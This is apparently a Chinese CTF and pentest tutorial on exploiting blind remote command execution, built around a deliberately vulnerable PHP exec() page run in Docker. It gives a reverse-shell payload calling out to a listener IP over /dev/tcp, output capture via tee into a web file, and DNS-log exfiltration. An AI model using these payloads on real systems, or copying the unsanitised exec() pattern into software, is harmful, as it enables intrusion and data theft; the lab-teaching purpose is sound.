当前位置: 首页 > news >正文

无回显RCE

在CTF和实战渗透中,不是每一个命令执行点都有回显,有时我们审了半天代码,却发现好不容易找到的命令执行没有回显,但是这并不代表这段代码不能被我们利用,在无回显的情况下也是可以利用的

首先我们来写一个最简单的php命令执行的代码,因为是测试,就不加WAF了

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
?>

这里用docker拉了个apache下来

FROM php:8.2-apache# 拷贝你自己的 index.php 到网页根目录
COPY index.php /var/www/html/index.php# 开启 Apache 的 mod_rewrite(可选)
RUN a2enmod rewrite# 设置工作目录权限(避免权限问题)
RUN chown -R www-data:www-data /var/www/html

这样测试,若5秒后响应说明可以命令执行

1. 反弹shell

遇到这种无回显的命令执行,最常见的思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

在自己的cmd输入nc -lvnp 9999

在命令执行的地方输入sh -i >& /dev/tcp/100.92.10.126/9999 0>&1

就可以反弹shell

2. tee命令

tee函数在两个管道描述符之间复制数据,所以通过这个我们可以构造payload:

/?a=ls /| tee 1.txt

然后再访问1.txt

php还有很多类似的方法,比如用 >将输入发送到某个文件中

3. dnslog外带数据法

首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要用linux中的ping命令或者curl命令

这里推荐一个dnslog的利用平台:CEYE - Monitor service for security testing 注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录(理论上是这样,但是我没复现出来,不知道是不是没有内网穿透的问题,后面试试在VPS上自己搭一个吧)

http://www.xdnf.cn/news/54199.html

相关文章:

  • 每日一道leetcode(补充版)
  • 具身智能零碎知识点(四):联合嵌入预测架构(JEPAs)详解
  • acwing--动态规划【线性dp】4/20、4/21
  • 网页的URL绝对路径和相对路径,以及各自的使用场景
  • 【Vulkan 入门系列】创建逻辑设备和图形、呈现队列,显示尺寸更改(三)
  • 错误: 找不到或无法加载主类 HelloWorld,cmd窗口,java命令,提示
  • PT站中的tracker
  • LangChain4j语言模型选型指南:主流模型能力全景对比
  • 生成式AI对话中提示词策略:明确问题、明确目标和提供背景信息是最有效的策略
  • 【CPU】中断即时性
  • leetcode(01)森林中的兔子
  • 机器学习(神经网络基础篇)——个人理解篇6(概念+代码)———参数优化篇
  • 模型上下文协议(MCP)详解
  • 【物理学】物理学——电机控制中常用的定则
  • AI 中的 CoT 是什么?一文详解思维链
  • select、poll、epoll实现多路复用IO并对比差异
  • C++类继承关键点总结
  • 模拟实现strcmp,strcpy,strlen,strcat,strstr
  • 类转换与强制类型转换详解
  • 双目视觉中的动态畸变矫正与跨视角信息融合
  • SmolVLM2: The Smollest Video Model Ever(五)
  • C与C++的区别
  • 656SJBH重金属音乐点歌系统
  • windows拷贝文件脚本
  • Java编程基础(第二篇:类的基本创建)
  • 基于尚硅谷FreeRTOS视频笔记——16—FreeRTOS的任务创建和删除
  • 电源芯片的关键性能指标与分析
  • netty中对TLS支持详解
  • 状态管理最佳实践:GetX框架深度应用
  • Tradingview日内交易策略分享-89%日内交易胜率